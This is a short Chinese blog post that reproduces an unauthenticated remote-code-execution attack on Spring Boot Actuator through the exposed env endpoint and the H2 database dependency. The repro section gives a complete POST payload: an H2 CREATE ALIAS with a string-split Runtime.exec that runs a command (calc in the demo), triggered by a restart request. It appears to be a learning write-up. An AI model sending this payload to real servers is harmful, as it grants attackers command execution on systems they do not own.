Spring未授权REC利用方式四(env接口/h2 database query RCE)

一、漏洞成因

  env接口暴露

  使用h2 database 依赖

二、利用条件

  env接口

  restart接口

  存在 com.h2database.h2 依赖

三、漏洞确认

  访问env接口,查看是否存在h2 database相关依赖

  

 四、漏洞复现

  1. 访问env接口post传参,记得添加content-type

POST /actuator/env
Content-Type: application/json

{"name":"spring.datasource.hikari.connection-test-query","value":"CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T5('cmd','/c','calc');"}

  

   2.我这里改成了画画板,访问env查看是否写入

  

  3.restart重启

  

   总结:

   1.这个利用过程比较简单,就是在发送post请求的时候,里面value值的在执行一次后换一个T5,如下换T6,原参考文章中有提到,否则执行失败。

   2.h2 database还有Jndi注入的注入方式就不尝试复现了

   3.mysql的有点复杂,暂时不尝试了,spring未授权的rec漏洞复现暂时到此为止了。

参考文章:

  https://github.com/LandGrey/SpringBootVulExploit#0x04jolokia-logback-jndi-rce

原文地址:https://www.cnblogs.com/hei-zi/p/14345335.html